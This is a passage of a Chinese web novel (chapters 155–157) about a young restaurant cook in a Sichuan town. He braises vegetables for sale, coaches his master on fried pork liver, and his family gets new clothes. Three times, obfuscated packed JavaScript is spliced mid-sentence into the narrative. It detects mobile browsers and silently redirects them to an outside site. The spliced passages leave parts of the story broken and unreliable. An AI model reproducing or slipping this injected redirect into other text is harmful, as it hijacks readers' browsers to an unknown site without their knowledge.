“那你把哥哥送去当厨师嘛，我也想天天吃这么好吃的东西。”林秉文央求道。 林景行撇撇嘴：“你要像沫沫妹一样可爱，我就去。” …… 求月票~！   (本章完) 第155章 严师出高徒（月票加更329！） 周砚今晚多泡了三斤笋干，为明天的卤素菜做准备。 卤素菜的热卖，确实给饭店涨收入了。 今天光是素菜就卖了30.6元，利润对半，颇为可观。 最重要的是，卤素菜的客户群体和卤肉的有差异，卤肉销量有所下滑，但不多。 对于爱喝酒的人来说，还是得卤猪头肉才对味。 土豆和藕大受欢迎，明天翻倍增加供应，海带卖的也不错，海鲜确实挺权威，反正现在大家都还认。 腐竹周砚不敢随便加，这东西他知道做起来特别麻烦。 现在姨婆的身体状况不是很好，来福一个人要做豆腐，又要做豆干，还要兼着做腐竹，产量多半是不太能跟得上。 反正明天开始，他们能做多少他收多少。 卤素菜开足马力卖！ 四毛钱一斤怎么了？ 卖一百斤不一样能挣二十块！ 周砚拿出纸笔，把明天要买的菜提前做了计划，需要多少量全部算清楚写下来，明天一早才不会乱。 卖土豆和藕的两位大叔他已经打了招呼，明天早上给他送到饭店来，藕要了四十斤，土豆要了一百斤。 像他这样的大客户，送货上门是基操。 让他们卖散客，一个早上都不一定能卖出这么多。 而杰哥现在成了他的第二位大客户，明天准备拿五斤猪头肉试水。 码头那边人流量确实不错，来往的客商，还有镇上去赶场的居民，都是有一定消费力的。 杰哥他们已经把跷脚牛肉的口碑做起来了，六毛钱一碗的跷脚牛肉，一天能卖八十碗出去，这比起他的饭店也只少了四十碗。 论卖汤锅这一块，杰哥确实还是权威。 今日营业额为602.4元，利润达到了365.2元，皆创下新高。 周砚把钱数了两遍，喜笑颜开。 挣钱的感觉可太让人踏实了！ 除了卤素菜之外，卤牛肉带来的营业额提升也是非常强劲。 飞燕酒楼明天预定了二十斤卤牛肉，光是这里就能带来60元营业额。 得益于肉价下降，利润率随之攀升。 目前看来，客人们对此不算敏感，至少还未反馈到营业额上。 钱用皮筋缠好放进箱子，这些钱可都是攒着找段语嫣买房的。 也不知道邱老太有没有给她一个准信，这两天都没有音信，倒是让周砚心里有点忐忑。 段家不缺钱，邱老太也不缺。 邱家老宅就算放那空着，对她而言也是没有任何影响，留着反倒还是个念想。 只要租出去，有人气，房子再老也不容易塌。 毕竟是大户人家的青瓦房，和他们乡下动不动就要塌房的土夯房不一样。 段语嫣给了他承诺，就看她能不能说服邱老太了。 躺到床上，周砚把任务栏拉出来扫了一眼。 【支线任务：赵淑兰的烦恼！进度16%】 【支线任务：师父的执念！进度88%】 【支线任务：西坝豆腐传承守卫战！进度：38%】 嗯？ 周砚眼睛睁大了几分，另外两个支线任务的进度条也亮出来了。 赵淑兰的烦恼是**减肥60斤，进度16%的话，说明她已经减了……十斤！ 周砚眉梢一挑，这姑娘可以啊，一个星期哐哐减了十斤肉下去。 一天来吃三顿饭，见得太过频繁，周砚倒是没怎么看出来区别。 不过减肥刚开始掉秤都挺快的，要减六十斤，靠的是意志。 读大学那会，他们宿舍睡他下铺的胖哥，两百斤开始励志减肥，第一个月瘦了三十斤，一时间成了校园风云人物。 结果暑假回山西老家待了俩月，回来两百五十斤。 这把周砚这个陪跑的整无语了，暑假两个月他把腹肌都练出来了。 这哥们回来第一晚就把宿舍的床给睡塌了，还把自己卡在了床架子上。 谁懂啊，消防员大半夜来宿舍，拿着切割机把他给解救出来。 胖哥再度成为轰动一时的校园风云人物。 看吧，有些人靠天赋就能红遍半边天。 不像他，光有脸和身材还不够，还要那么努力才能小火一把。 不过周砚觉得**这小姑娘意志力不错的，比她哥看着要靠谱。 这任务周砚也不太在意，挂着吧，说不定是个有生之年系列呢。 目前进度最快的是他师父的执念，也就是做出一份完美的火爆猪肝。 肖师傅已经好几天没来饭店学习，太懈怠了。 明天抽空去问问情况。 这样要不得。 严师出高徒。 他还等着师父给他爆奖励呢。 豆腐保卫战的进度条又涨了8个点，这倒是有点出乎他的意料。 这是做腐竹和豆干做出幸福感了？ 周砚不太清楚情况，但觉得挺好的。 这进度条看着，更像是孙老太的心境变化，能涨，说明她心里越发笃定来福能靠着做豆腐活下去。 周砚从床头拿起一本《钢铁是怎么炼成的》，这是汪大爷前天给他带的。 “保尔的工钱从八个卢布长到十个卢布。两年来他长高了，身体也结实了……” 书页合上，灯随之熄灭，周砚安然的进入梦乡。 …… 第二天，周砚把五斤猪头肉和另外单独打包的十四份猪头肉一并送到了码头。 “这些是啥子？”周杰看着那十几个油纸包，不解的看向周砚。 周砚笑着解释道：“是切好的猪头肉，昨天来的兄弟伙，一家送一包，这个事就麻烦杰哥跑一趟了哈，昨天一晃眼，我家门都认不太全。” “哎呀，本家兄弟，不讲这些，你这一包都有一斤了，哪用得着这么多！送这么多，你几天白干。”周杰连连摇头。 “我自己卤的，哪有这样算账的，用不着一天。”周砚笑着按住周杰，不让他把猪头肉往他车篮子里装，神情认真道：“本家兄弟，不说钱，就拿点卤猪头肉让大家尝尝。我的人情，不可能让你来还噻。 这都不是几斤猪头肉的事，换了别人，再多的猪头肉都喊不来十几个本家兄弟，让干谁就干谁。” “这……”周杰还有点犹豫。 一旁的嫂子黄彩云忍不住开口道：“喊你接到你就接到，送肉的时候跟他们说清楚，这是周砚送的，这人情也还上，下回周砚有啥子事，人家喊一声就来，你磨磨唧唧干啥子嘛。” 周杰立马把手缩了回来，点头道：“要得，我等会就给他们送去。” 周砚笑了笑，又道：“有两包是你和海子哥的哈，我跟你说一下这卤猪头肉怎么切，你等会好卖。” “好，我今天还带了一块新的砧板，专门用来切卤肉，这样就不会串味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200275|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。”周杰拿出了一块新砧板。 “专业。”周砚笑道。 周杰也杀了有十年牛了，刀工比不上周淼，但绝对不算差。 周砚只需要教他切的厚度标准，他切了三片，薄厚均匀，基本达到标准。 “行了，就按这个标准来就够了。”周砚点头道。 周砚提出只让周杰卖猪头肉，一个是因为猪耳朵和猪拱嘴优先供应饭店，其次就是猪耳朵对刀工要求更高，会耗费他更多的时间。 不管怎么说，周杰的基本盘都是跷脚牛肉，卤肉只能算兼着卖的。 聊了两句，周砚便急着回了饭店。 切好的素菜嗷嗷待卤，今天这量非同寻常。 土豆和藕各四十斤，干腐竹泡了两斤，家里就这么多了，海带泡了六斤。 今天早上他去来福的豆腐摊拿了豆干，三斤，今天全卤了。 腐竹给他送了六斤来，不过今天泡不出来用，得等明天。 周砚跟来福说了，腐竹能做多少他都要，反正这东西耐放。 豆腐干从明天开始要五斤，卖的好的话再加。 来福听完，目光都清澈了。 三斤笋干，泡发完重达十五斤。 这夸张的吸水性，让周砚都有点震惊。 五角一斤的笋干，等于泡发完一斤只需一毛钱。 周砚想了想，卤笋干定价六**一斤，和卤豆干一个价格梯度。 不过周砚从桶里捞出一根泡发好的笋干，这是他昨天特意挑出来的细笋尖。 这笋干是买来烧牛肉的，所以偏老了一点。 而一般卤笋干要用到的是嫩笋尖，这样卤出来的笋干既好看，又足够脆嫩。 今天卤完看看成品以及顾客的反馈，如果卖的不错，他再去重新找一下品质更好，适合用来卤制的小笋干。 在他的印象中，嘉州峨边的竹笋相当有名，不知道苏稽有没有卖的，不行的话，可能还要跑一趟嘉州去瞧瞧。 今天这锅素菜卤水的分量大涨，火已经烧好了，周砚陆续把各种素菜下锅、出锅。 一轮轮出锅，火候控得死死的，一点不敢分心。 最后下的是笋干，小火在卤锅里闷着，少说也得一个小时才能卤的软烂。 周砚拿了双筷子，夹起一块卤好的豆干，约十公分方正，一公分厚，半成品是烘的淡黄色的，卤好后色泽红亮，油润油润的，比前天姨婆烘的卤香干看着颜色要正不少。 上砧板，切铜钱厚。 切口平滑，卤水的颜色由外向中间渗透，呈现出逐渐变淡的颜色变化。 【一块完美的豆腐干】 周砚拈了一条豆腐干喂到嘴里，烤的微干的表皮吸足了卤水后变软，而内部的豆腐口感却依旧嫩滑，且带一点弹牙，有点像鸡蛋干。 卤香并不浮于表面，已经渗入豆腐干中，嚼起来荤香十足，卤香馥郁。 豆腐干本身的品质太高了！ 给他省了许多麻烦。 周砚吃完连连点头，这卤豆干他可太满意了。 不愧是老太太的长期战略合作伙伴，核心供应链。 “肖师傅，郑师傅，你们来了啊。” “周砚？” “他在厨房，你们直接进去嘛。” 这时，外边传来了赵嬢嬢的声音。 —— （PS：加更求月票！） (本章完) 第156章 师父，你放心，我不会借机打击报复 周砚刚把菜刀放下，就瞧见肖磊走进厨房，后边跟着笑吟吟的郑强。 “师父，郑师兄，稀客啊。”周砚看着俩人笑道。 “今天没得事，又来跟周师学手艺噻。”肖磊笑着说道。 “就是，来跟周师学厨。”郑强笑嘻嘻地站在厨房门口。 周砚笑不出来了，好嘛好嘛，郑师之前受的，都要让他试一遍是吧？ “几天没来，这是把卤素菜都整起了啊？”肖磊看着一盆盆装好的卤素菜，目光落在了一旁砧板上切开一半的豆干，“这豆干整得好，外壳多吸味，里面切开又多细嫩。” “师父还是专业，尝看。”周砚刷刷切了两片下来，一片递给肖磊，一片递给还在门口站着的郑强。 肖磊细细品尝，连连点头，眼中难掩惊艳之色，“这卤豆干硬是香，卤水就不用多说了，火候也刚合适，但是这豆干太好了，吃起来多细嫩，口感跟鸡蛋干一样，一点渣渣都没得，是你自己整的吗？” 郑强吃完想了想：“俺也一样觉得。” 肖师还是懂得起，一口就尝出这豆干不简单，周砚笑着道：“我可不会磨豆腐，师父你也没教啊。豆干是外边定的，自家做豆腐的亲戚，正宗西坝豆腐的做法，连豆子都用的西坝的小粒黄豆。” “上水村的孙记豆腐？”肖磊脱口道。 “诶？师父你认得我姨婆啊？”周砚这回是真的惊讶了，肖师有点东西啊！ “孙老太是你姨婆？那顾立伟不就是你表叔？”肖磊叹了口气，“去年苏稽发大水，他们两口子去送豆腐，过桥的时候被水冲走了嘛。我以前还经常在他那里买豆腐，今年也没见到孙老太出来卖豆腐。苏稽那么多卖豆腐的，就他们家豆腐做的最巴适。” “我姨婆腿脚不方便，没法出来卖豆腐，不过现在我老表天天背起豆腐到苏稽桥头卖，师父你要是想买他家的豆腐，早上转过去，看到有个十五六岁的娃娃在卖豆腐，就是他了。”周砚说道： “他一般卖两板豆腐，一板是我姨婆手把手教着做的，一板是我老表自己做的，摆前面那板要巴适些，你挑着买码。” 肖磊闻言笑了：“你倒是把人家的老底都揭完了。” 周砚正色道：“自己人肯定要说清楚嘛，师父你的嘴巴那么刁，尝一口就晓得对不对，不过就算是我老表做的，跟别家比也是不差的，就是还欠点火候。” “要得，回头我买豆腐就转他那里去买，你倒是会给你老表介绍生意。”肖磊点点头，又道：“我没记错的话，你这个老表是不是聋哑人？之前会跟他老汉去送豆腐，坐在驴车上安安静静的，还多乖。” 周砚点头：“是，现在他们祖孙俩相依为命，过得不太容易。” 肖磊默然，看了眼一旁搪瓷盆里的腐竹，“这腐竹也是你姨婆做的？” “你尝看，巴适得板。”周砚笑着给他拿过了一双干净筷子，给郑强也夹了一块。 肖磊尝了一块，称赞道：“硬是巴适得板，口感软弹，嚼起来有股肉香，不是肉胜似肉，腐竹做的好，周师卤的水平也高。” “师叔说得对，好吃！”郑强也是一脸惊艳，看着周砚笑道：“这要不是家传的手艺，我都想跟周师学，出去摆摊卖这两样，一天都不晓得要挣好多钱。” “哎呀，师父、郑师兄，你们莫要洗我脑壳。”周砚一脸无奈，阴阳怪气这方面，这师叔侄算是拉满了，硬着头皮道：“不过，既然来了就别走了，师父，上回的火爆猪肝不是还没有达到你自己的要求吗？你还学不学吗？” “学！学的就是火爆猪肝。”肖磊点头，“来嘛周师，我们两个今天中午就是你的墩子和打荷，你要啷个安排就啷个安排。” “师父，这可是你说的哈。”周砚看了眼还在厨房门口站着的郑强，笑道：“郑师，在门口杵着干啥子？” 郑强摊手道：“周师不喊，我也不敢随便进你的厨房嘛，学厨是有讲究的，你家传的手艺我学不得，师叔教你的独门手艺我也学不得，你说能进才能进。” “同门师兄弟，这么见外的吗？”周砚笑着招手：“火爆猪肝学不学？我师父的火爆猪肝也是炒的一绝，我跟他学到真本事的，来嘛，切磋交流，互相进步。” “要得！”郑强喜笑颜开的进门来。 “来嘛，看到那边的五个莲花白没有，先把他撕出来，中午油渣炒莲白要用。”周砚指着一旁架子上的莲花白说道。 郑强：“啊？” 不是说好学火爆猪肝吗？真当墩子和打荷使啊？ “那我就来处理中午要用的这些猪肝嘛，你去弄你的卤素菜就是。”肖磊主动开口道。 “要得，那就辛苦师父和郑师兄了哈。”周砚端起豆腐干出门，教老周同志这豆腐干要如何切。 肖磊和郑强都是多年的老师傅，手里有活，当墩子使可谓得心应手。 周砚虽然也没歇着，但比起平日可是清闲了不少。 郑强把莲花白三下五除二撕完，便凑到一旁认真瞧着师叔处理猪肝。 猪肝要想炒的好，除了极致的火候把控，食材处理也是重中之重。 这菜他师父炒的也挺好，但他没学到精髓。 他以前觉得，厨师能有几个拿手招牌菜，其他菜能过得去就行，有点混子心态。 因为这没少被他师父骂，但他没当回事。 反倒是离开了师父，看到作为师弟的周砚把这道火爆腰花炒的出神入化，其他菜更是一道比一道好，有点刺激到他了。 而作为师父的师叔肖磊，竟为了那些许的差距，三天两头往徒弟的饭店跑，虚心求教，勤勉练习，追求厨艺上的极致完美。 这种坚持和信念感，让他颇为汗颜。 这半个月他天天跟在肖磊屁股后边，置办厨具，采购食材，办了三场坝坝宴。 肖师叔的厨艺、场控能力、人情世故，都让他佩服不已。 师叔教他做九大碗，如何选购食材，如何做预算，可以说是毫无保留。 这半个月的时间，让他把之前在蓉城餐厅根本学不到这些东西，狠狠补上。 距离独当一面还有些距离，但至少主人家问起坝坝宴的事，他也能侃侃而谈，把人先唬住了。 师门传承，他算是深刻感受到了。 除了师父，世上也只有师叔才会如此毫无保留的教他这些东西。 肖磊把猪肝码好，洗了手开口道：“周砚，这个星期日有空没得？我带你们两个去嘉州参加一个厨师交流会，顺便带你们见一见你们师叔祖。” “师叔祖？”周砚闻言有些意外，在他的记忆中，师父之前并未带他参加过什么厨师交流会，多半是墩子小周不配参加那么高端的会议。 至于师叔祖，师父倒是提起过。 师爷的堂弟，嘉州名厨——孔庆峰。 他师祖孔怀风去世之后，这嘉州第一名厨的名头便自动传承到师叔祖头上了。 师祖的师父孔瑞，当年也是嘉州名厨，是师祖的父亲，家传的手艺，当年在嘉州有着‘孔派’的美名，以烹鱼闻名。 “对，这次交流会就是你们师叔祖发起的，请了几位嘉州名厨来。”肖磊笑着点头：“听他说，是《四川烹饪》杂志社要来采访他，请他传授和讲解鱼的做法，让我们这些晚辈也去沾沾光，看能不能蹭一张大合照。” “《四川烹饪》啊！师叔祖那么厉害！我听说能上《四川烹饪》杂志烹饪技术栏目的，都是各地的顶尖大厨。之前我们蓉城餐厅的厨师长就被采访过一期，讲了冷菜造型，特意去借了一套西装穿上。”郑强眼睛都亮了，一脸羡慕道： “后来那一期杂志，厨师长给每个认识的人都送了一本，饭店大厅里还摆了一摞，那叫一个风光啊。” “上个杂志而已，这么夸张吗？”周砚挑眉。 算着时间，第四期的《四川烹饪》杂志应该也快出了吧？何志远说要争取让跷脚牛肉上封面的，也不知道这事能不能成。 真要上了，他是不是也得买一摞来送人啊？ 不行不行，这种行为实在太让人厌弃了。 就给夏瑶寄一本吧。 “夸张啥子，一点都不夸张。”肖磊接过话，眼中也是露出了几分憧憬之色，“我要是有一天能登上《四川烹饪》杂志，我也买他几百本，亲朋好友人手一本，二十年不联系的小学同学都要塞两本。不说光宗耀祖，这在厨师界可是相当有面子的事情，全国多少厨师在看这个杂志哦。” 周砚死死压住上扬的嘴角，突然有些好奇师父要是看到他出现在《四川烹饪》杂志上，会是什么反应？ 这样一想，他突然有点羞愧，在上次的采访里，竟然没有提两嘴师父。 要是能让他的名字出现在上面，多少也有点参与感嘛。 看他师父多为他们着想，有大合照蹭都要带上他们。 只能等下回了。 何志远上回说了，回头还要来采访他的卤味，就是不知道作不作数。 “师叔，你简直比我师父都要好！上杂志这种好事都能想到我，你放心，以后我一定好好孝顺你！”郑强真情流露，有些激动。 “还不一定能上呢，我们这些晚辈，能拍张合照就不错了，不要有太多的奢望哈。”肖磊把郑强凑过来的脑袋移开，语重心长道：“你们也要勤勉学厨，意念集中工艺出，手勤眼到见真功，争取再过十年、二十年，厨艺大成的时候，也能上一回《四川烹饪》。那个时候，我们孔派上下都面上有光。” “要得！”郑强郑重点头。 “嗯。”周砚应了一声，转过身默默切煮好的二刀肉，他怕自己一时忍不住笑出来。 他想好了，下回何志远要是再来，一定把师父和郑师兄请来，这样才显得师门上下，团结一心嘛。 吃过午饭，工人下班，饭店立马迎来上客高峰。 和之前一样，周砚负责其他菜，他师父负责炒火爆猪肝。 郑强在旁边认真学习火爆猪肝的顶尖炒法，顺便把打荷的工作给兼了。 三人同台，倒是配合的相当默契，一点不打挤。 这……或许也是师门传承的一种吧？ 毕竟是一个师爷教的，太清楚对方要什么，有什么习惯。 周砚炒油渣炒莲白的时候，肖磊和郑强还会轮流指点他，现场上大师课，对他的提升也是相当明显的。 【一份相当不错的油渣炒莲白】 周砚看着灶台上这份刚出锅的油渣炒莲白，忍不住咧嘴笑。 成了！ 他终于突破了不错境！ 肖磊看了眼，点点头：“不错，比之前好了点，不过还有上升空间。” “要得！我继续努力。”周砚笑着应道。 轮到肖磊炒火爆猪肝。 周砚一边炒菜，一边说道： “火力差了点！” “中午没吃饭吗，锅铲舞起来！” “焦了！焦了！还不起锅，劳资……” 郑强背着手站在一旁，眼珠子一会转向周砚，一会转向肖磊，欲言又止。 不是，周师弟一直这么勇的吗？ 谁是师父啊？ 哪有把师父这样训的。 还得是师叔心里素质好啊，被这样训都不生气。 这要是他师父，锅铲早呼他脸上了，还要怒吼一声：“老子还用得着你来指点？” 一个中午。 肖磊炒了36份火爆猪肝。 看起来似乎没有什么进展，距离他想要的完美火爆猪肝，已然有些差距。 这让肖师傅有点沉默，皱着眉不知在思索什么。 周砚察觉了他的情绪，扫了一眼任务进度，眉梢一挑： 【支线任务：师父的执念！进度92%】 这不是涨了4%吗！ 周砚立马开启夸夸模式：“师父，你今天这火爆猪肝大有进步啊！我刚刚都听到好几桌客人夸炒的好，火候把控的越发纯熟，我觉着跟我炒的已经没什么区别。” 肖磊听完，眼睛亮了起来，眉间的皱纹都抚平了不少。 果然，人都是喜欢听夸奖和肯定的。 “周师没嚯我吧？”肖磊看着他道。 周砚正色道：“肯定不得嚯你，我这张嘴巴向来严格的很。” 肖磊点点头，“我觉得还是有点差距， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“要得，那等过了年，送你去上幼儿园嘛。”周砚说道。 “好！”周沫沫更开心了，弯下腰来亲了一口周砚的脸颊，“锅锅太好了~我也要去上学了！” 周砚嘴角上扬，就是不知道真去上学的时候，她笑不笑的出来。 苏稽有镇幼儿园和纺织厂厂办幼儿园，一般是三岁入园。 不过现在孩子多，学校少，学位也相对较少。 赵铁英他们之前来镇上问过，因为入学年龄差了一个月，没弄到学位，只能等明年。 又不是机关幼儿园，卡的没那么死，这事儿找找关系，其实九月就能入园。 赵嬢嬢和老周同志还是太老实了。 等学校放寒假的时候，他就想办法去走动走动，看能不能让周沫沫上纺织厂厂办幼儿园，离得近，学校新，设施也好。 现在的幼儿园，主要以集体游戏为主，让孩子们一起玩开心就行。 说不定周沫沫去上了学，还真能实现梭梭板自由。 站在围墙外看了一会，周砚带着她往前走。 “锅锅，那你啥时候去帮我抓熊猫捏？”周沫沫认真问道。 “啥？” “熊猫猫！年画上面的大熊猫啊。” “我怕我一个人按不住。”周砚笑道。 “那……那你把海哥哥带上嘛，他按得住。” “要得，回头我带海哥一起去抓嘛。” “好！” 这一路上周沫沫都可开心了，要下来自己走，在前边一蹦一跳的，一会蹲下看路过的甲壳虫，一会跳起来撵路过的麻雀，看到大狗还知道往周砚脚边缩，然后仗着人势和那大黄对着龇牙：“汪！汪汪！” 大黄看了眼她又看了眼周砚，夹着尾巴跑了。 “锅锅，你看！大黄害怕我！”周沫沫仰起头看他，一脸得意道。 周砚伸手捏了捏她肉嘟嘟的脸，笑着道：“嗯，不过下回你要是看到大狗，要绕着走，或者找大人身边跟着走，晓得不。” “晓得了！”周沫沫乖巧点头，目光很快又被学校门口摆着卖搅搅糖的摊位吸引了，往前跑了两步，又停了下来，咽了咽口水，努力的将目光移开。 “想吃？”周砚笑问道。 周沫沫点头，又很快摇头，伸手去牵他的手，“肘！妈妈说，不许再花钱买糖糖了！不然连锅锅一起揍。” 周砚看着一步三回头，信念明显没有嘴巴坚定的小家伙，忍不住笑道：“给你一角钱，自己去买，吃完了再回家。” “真的？！”周沫沫的眼睛立马亮了起来，看着周砚掌心里的一角钱，犹豫了三秒，接过，往卖搅搅糖的嬢嬢跑去。 过了一会，她拿着两个搅搅糖跑了回来，把其中一个高高举起，笑眯眯地递向周砚：“锅锅！一角钱两个！你一个，我一个，我们一起吃！” “要得。”周砚笑着接过。 两根小竹棍上缠着一团麦芽糖，搅的发白，竟有一种千丝万缕的感觉，看得出是下了力气搅的，来回拉扯的工艺，其实和拉面有点相似。 这东西在北方叫糖稀。 一角钱两个，价格还算公道。 周砚咬了一口，软黏软黏的，是纯麦芽糖的香味，没想象中那么甜腻，还挺好吃的。 周沫沫一边搅，一边咬，玩的不亦乐乎。 五分钱的快乐，就是这么简单。 糖吃完了，周砚帮她把嘴角擦干净，再检查了一下牙齿上没有沾着糖浆，这才往家的方向走。 “锅锅~沫沫的jio走痛痛了，要抱抱~”周沫沫伸手拉住了周砚的衣摆，然后跑到他跟前张开双手晃呀晃，小马尾跟着抖了抖。 看着像个小手办的小家伙，周砚哪经得住撒娇，弯腰把她抱了起来。 周沫沫小小一只，抱起来香香软软的，还会趴在肩上跟他说谢谢，抱起来一点都不累。 快到饭店门口，正好瞧见赵嬢嬢从老周同志的后座上下来，手里抱着一摞用绳子系好的衣服，瞧见周砚两人，笑着招呼道：“快来！新衣服做好了，都来试试！” 求月票~~ 今天这两章写的太久了，加不了更了 明天再加更~   (本章完) 第157章 这日子，越过越有盼头了 上回去嘉州买的布和新棉花，回来之后赵嬢嬢就送贾裁缝那去了，等了一个多星期，今天可算是做好了。 这些天赵嬢嬢每天都要去贾裁缝那逛一圈，有时还给带三两没卖完的猪头肉，软暴力催收，插队成功。 这一摞衣服，换成一般客户，少说也得等一个月才拿得到。 “新衣服！”周沫沫眼睛一亮，嗖嗖就从周砚怀里溜了下去，朝着赵嬢嬢跑去，嘴里还含着：“妈妈！妈妈！我有吗？我有新衣服吗？” “有，给你做了一套，我再给你织一套毛衣毛裤，今年冬天就够穿了。”赵嬢嬢笑着应道，往店里走去。 周砚进门，赵嬢嬢已经把绳子解开了，展开的衣服铺满了柜台。 “四嬢，你这做了好多衣服哦！”赵红凑上前惊叹道。 “上回房子塌了，他们父女俩过冬的衣服都没抢出来，这天气一天比一天冷，肯定要给他们安排上。”赵铁英笑着说道：“还有周砚，也是找不出一件体面的衣裳，现在大小也是个饭店老板，还是有些场合要穿的体面点嘛。” “有道理。”赵红点头。 赵嬢嬢先拿了一件红色碎花的小花袄子，给周沫沫往身上一套，袖子长了一点，衣服很厚，穿上圆嘟嘟的。 周沫沫转了一圈，得意地笑：“小花袄，好好看！” “嗯，袖子长了点，刚好合适，明年还能再穿一年。”赵嬢嬢把袖子给她卷了一圈，颇为满意的点了点头。 再拿一件花棉裤比划了一下，长度也刚好合适，卷两圈能穿两年。 这年代做一身衣服不容易，特别是小孩，一般都是捡家里大孩子的旧衣服穿。 周砚比周沫沫大太多，他小时候的衣服应该给辉辉他们穿了。 老周家孩子倒是不少，但都是男孩子，除了一些打的好看的毛线衣，赵嬢嬢一般不给周沫沫穿旧衣服。 老周同志说了，他的衣服可以多几个补丁，但女儿、老婆必须穿的漂漂亮亮的。 然后是老周同志的新衣服，一套靛蓝色的厚棉服，款式比较简单，就是厚实，还有一件黑色的厚西装裤。 老周同志穿上棉服，扯了扯衣摆，咧嘴露出了八颗牙：“要得！合适，暖和得很！” 赵嬢嬢只给自己做了一件碎花短袄，和周沫沫一个花色的，妥妥亲子服，款式简单大方，有点收腰的效果，应该是贾裁缝自己研究的款式，颜色选的好，显气色。 “来，周砚，你的。”赵嬢嬢把一摞衣服递给周砚。 一件棉麻的白色厨师服，一件黑色的西装裤，最下边是一件灯芯绒的夹克棉衣。 “这件新厨师服你看场合穿嘛，要是上回那个主编再来，也拿得出手。裤子我没给你做阔腿裤，男娃娃要穿的板正一些更阳光，光洋气也不行。”赵嬢嬢看着周砚笑着说道：“这灯芯绒的夹克，是我上回在百货公司看到的，没想到贾裁缝也刚好打板学了，就答应帮忙做了一件，你试看合身不，要是不合身，我拿去叫她改。” 周砚捧着衣服，心头暖暖的，虽然不是妈妈亲手做的衣服，可每一件都蕴含着她的浓浓心意与爱，这种感觉上辈子他从未体验过。 “要得，我去试看。”周砚鼻音微闷，拿着衣服上楼换上。 厨师服刚好合适，剪裁的颇为修身，抬手活动也很轻松，棉麻材质清爽透气，穿着干活刚好合适。 黑色西装裤的面料比他之前的裤子好多了，有垂坠感，裤腿笔直，穿上显得他的腿特别长，腰间尺寸也刚好合适，口袋里不放东西，不拴皮带都没问题。 袖子卷起，露出手表，衬衣塞进裤腰，整个人看起来清爽又利落。 再把棕色的灯芯绒夹克棉服套上，也是刚好合适，比老式棉服看起来时髦精神多了，确实有模有样的。 这乡镇小裁缝，手上是有活的！ 周砚下楼，赵嬢嬢上前围着他转了两圈，颇为满意的点头：“要得！好看！穿上有老板的样子了。” “上回在百货公司，这样一件夹克棉服，要五十五块钱！我自己买了面料回来做，塞了最好的棉絮，加裁缝费才花十四块五角钱！划算的很！” “西装裤的款式也是新的，这个料子比较柔软又光滑，做出来的裤子硬是笔挺的很，穿上多精神的。” 赵嬢嬢的目光向下，看着周砚脚上穿的解放鞋，笑着道：“下回去百货公司，给你买双新皮鞋，穿衣服要讲搭配，不然传出去要遭人笑话。” “要得。”周砚笑着点头，赵嬢嬢倒是走在乡镇时尚前沿，连穿搭都懂了。 “还是你会持家，这一下省了上百块钱，衣服好看又暖和。”周淼笑着夸赞道。 “那肯定噻。”赵嬢嬢笑容中透着几分得意，看着周砚又道：“过年要是挣到钱，再给你挣一件皮衣，那个才真的洋气哦。” “皮衣我就不穿了，到时候你给老汉整一件。”周砚笑道，上回他在商场看到了皮衣了，全是中年男人款，和他这样的年轻帅哥根本不搭，不如这夹克来的清爽利落。 天气渐冷，穿上新衣的一家人，身上和心里都暖暖的。 “这日子，越过越有盼头了。”赵嬢嬢把衣服抱上楼，嘴角挂着盈盈笑意。 …… 接下来几天，肖磊和郑强每天中午都来练火爆猪肝，顺便给周砚当墩子打下手。 周杰每天的卤猪头肉销售已经突破十斤，并且成功稳住口碑，准备下周开始一两斤慢慢往上加，去找上限在哪里。 一天卖十斤，能挣五块，一个月就是一百五十块。 这份额外收入，让他和周杰两家都挺高兴的，得到了两位嫂子的大力支持。 昨天周杰还来找周砚写了块招牌，打出了《周二娃饭店卤味》的名号，直截了当地给周砚的饭店引流。 什么叫真心换真心？ 杰哥这人，能处！ 饭店的卤素菜销量连涨三天后，有所回落并趋于稳定。 土豆和藕一天各五十斤，孙老太和来福能提供的腐竹供应量为每天六斤，短时间内产量很难再有大幅度的提升。 豆干从五斤涨到了十斤，因细腻的口感与味道，大受欢迎。 卤笋干被取消了，在苏稽他没找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200277|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到合适的小笋干，大笋干太老，卤出来口感差了点意思，虽然卖的还可以，但达不到周砚自己的要求，被暂时下架。 海带稳定输出，赵嬢嬢和赵红一天打十斤海带结，动作已经越发娴熟。 卤素菜上大分，营业额一路突破到了80元，并且成功带动了卤肉销量上涨了一成。 低价策略执行的非常成功，撬动了纺织厂更为广泛的女工群体。 “原味的卤豆干半斤，再要一斤原味的土豆和藕混装。” “我要三两五香腐竹和三两麻辣腐竹，再要四两麻辣豆干，明天不上班，今天晚上肯定要整好点噻！” “腐竹就卖完了吗？哎呀，老板，你多整点嘛，我来两回都没买到。那我要半斤豆干，再称三两卤猪头肉嘛。” 星期六的傍晚下班时间，工人们围在卤肉摊前，排起了三列长队。 忙碌了一个星期，终于迎来了休息日，消费热情满满。 老周同志既要切卤肉，又要打包卤素菜，忙的团团转。 自信的老周同志想了个主意，所有卤味不称重，全凭经验掂量。 